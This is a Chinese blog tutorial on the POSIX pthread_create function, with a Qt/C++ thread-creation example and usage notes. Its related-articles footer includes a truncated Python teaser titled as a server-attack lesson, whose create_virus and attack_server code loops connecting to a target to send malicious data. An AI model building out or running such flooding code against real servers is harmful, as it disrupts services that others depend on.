pthread_create函数

embedded/2025/1/22 20:57:16/

函数原型

pthread_create 是 POSIX 线程(pthread)库中的一个函数,用于在程序中创建一个新线程。

#include <pthread.h>int pthread_create(pthread_t *thread, const pthread_attr_t *attr,void *(*start_routine) (void *), void *arg);

参数解释

  1. pthread_t *thread: 这是一个指向 pthread_t 类型的指针,用于存储新创建线程的线程标识符。调用者必须分配这个指针,pthread_create 会将其设置为新线程的标识符。
  2. const pthread_attr_t *attr: 这是一个指向 pthread_attr_t 结构的指针,用于指定线程的属性。如果设置为 NULL,则使用默认属性。常见的属性包括线程的调度策略、优先级、堆栈大小等。
  3. void *(*start_routine) (void *): 这是一个指向线程函数的指针。这个函数是新线程启动后要执行的函数。它的返回类型是 void*,并接受一个 void* 类型的参数。
  4. void *arg: 这是传递给线程函数的参数。该参数的类型是 void*,因此可以传递任何类型的数据,只需在线程函数中进行适当的类型转换。

返回值

  • 成功时,pthread_create 返回 0
  • 失败时,返回一个非零的错误码。

代码示例 

#include <QCoreApplication>
#include <QThread>
#include <QDebug>
#include <iostream>
#include <pthread.h>
#include <unistd.h>
#include <thread>   //包含C++标准线程头文件
#include <sstream>  //包含字符串流头文件void inputCurPthreadId()
{//通过C++标准库获取当前线程号std::thread::id threadID = std::this_thread::get_id();//将 std::thread::id 转换为一种 QDebug 能够处理的类型std::ostringstream oss;oss << threadID;std::string threadIDStr = oss.str();qDebug() << "[C++] This Thread Id = " << QString::fromStdString(threadIDStr);//Qt QThread类获取当前线程qDebug() << "[Qt] This Thread = " << QThread::currentThread() << "\n";
}// 线程函数
void* threadFunction(void* arg) 
{qDebug() << "In pthread_create:";inputCurPthreadId();int threadNumber = *((int*)arg);std::cout << "Hello from thread " << threadNumber << "!\n";sleep(2); // 模拟一些工作std::cout << "Thread " << threadNumber << " is exiting.\n";pthread_exit(NULL); // 退出线程
}int main(int argc, char *argv[])
{QCoreApplication a(argc, argv);qDebug() << "before pthread_create:";inputCurPthreadId();pthread_t thread;int threadNumber = 1;// 创建线程if (pthread_create(&thread, NULL, threadFunction, (void*)&threadNumber) != 0) {std::cerr << "Error creating thread\n";return 1;}// 等待线程完成if (pthread_join(thread, NULL) != 0) {std::cerr << "Error joining thread\n";return 2;}qDebug() << "after pthread_create:";inputCurPthreadId();std::cout << "Main thread is exiting.\n";return a.exec();
}

注意事项

  1. 线程同步:多个线程可能会访问共享资源,因此需要使用同步机制(如互斥锁、条件变量等)来避免竞争条件。
  2. 线程属性:如果需要设置特定的线程属性(如堆栈大小、调度策略等),可以使用 pthread_attr_set* 函数族来配置 pthread_attr_t 结构。
  3. 线程退出:线程可以通过调用 pthread_exit 函数来退出,或者在线程函数中返回。主线程在所有其他线程完成之前不应该退出,否则会导致程序异常终止。
  4. 线程清理:使用 pthread_join 函数等待线程完成并回收其资源。如果不需要等待线程完成,可以使用 pthread_detach 函数将线程分离。

http://www.ppmy.cn/embedded/156146.html

相关文章

在C#中添加I/O延时和持续时间

在C#中添加I/O延时和持续时间&#xff0c;可以通过以下方法实现。具体来说&#xff0c;延时可以通过Thread.Sleep、Task.Delay等方式来模拟延迟&#xff0c;而持续时间的控制可以通过循环结构来设定持续的时间。在执行I/O操作时&#xff0c;你可以在操作之间添加延时&#xff0…

20250120面试鸭特训营第28天

更多特训营笔记详见个人主页【面试鸭特训营】专栏 250120 1. 说说 Java 中 HashMap 的原理&#xff1f; HashMap 的底层结构 HashMap 底层由 node 数组、单链表、红黑树构成。根据哈希函数计算得到哈希值&#xff0c;哈希值确定了元素保存在 node 数组中的具体下标。HashMap…

HTML-拓展知识 字符实体与URL地址

文章目录 1.字符实体2.URL地址 1.字符实体 引出字符实体&#xff1a; 在编写html代码的过程中&#xff0c;有的时候我们需要让文本中显示类似于<p 之类的字符串&#xff0c;容易造成但是由于标签中就含有 &#xff0c;所以在文本中显示需要转义。这个时候我们就需要字符实体…

如何攻击一个服务器(仅用于教育及娱乐实验目的)

import socket import osdef create_virus():# 创建一个简单的病毒脚本&#xff0c;它会不断尝试连接目标服务器并发送恶意数据virus_code """ import socket import time import threadingdef attack_server(ip, port):while True:try:s socket.socket(socke…

Linux - 线程池

线程池 什么是池? 池化技术的核心就是"提前准备并重复利用资源". 减少资源创建和销毁的成本. 那么线程池就是提前准备好一些线程, 当有任务来临时, 就可以直接交给这些线程运行, 当线程完成这些任务后, 并不会被销毁, 而是继续等待任务. 那么这些线程在程序运行过程…

Oracle 创建并使用外部表

目录 一. 什么是外部表二. 创建外部表所在的文件夹对象三. 授予访问外部表文件夹的权限3.1 DBA用户授予普通用户访问外部表文件夹的权限3.2 授予Win10上的Oracle用户访问桌面文件夹的权限 四. 普通用户创建外部表五. 查询六. 删除 一. 什么是外部表 在 Oracle 数据库中&#x…

TCP如何保证安全可靠?

TCP如何保证安全可靠&#xff1f; TCP&#xff08;传输控制协议&#xff09;是一种面向连接的、可靠的传输层协议。为了保证数据传输的安全性和可靠性&#xff0c;TCP 采用了多种机制&#xff0c;包括确认和重传、数据校验、数据分片和排序、流量控制以及拥塞控制。 1. 确认和…

【pytorch】norm的使用

torch.norm [deprecated ] 在torch.norm中&#xff0c;通过参数p来定制order 主要有如下几类 L1 norm 计算张量中所有数值之和L2 norm 计算张量中所有数值的平方和开根Frobenius norm 计算张量中所有维度上所有数值的平方和开根Infinity norm 计算张量中有所数值绝对值最大N…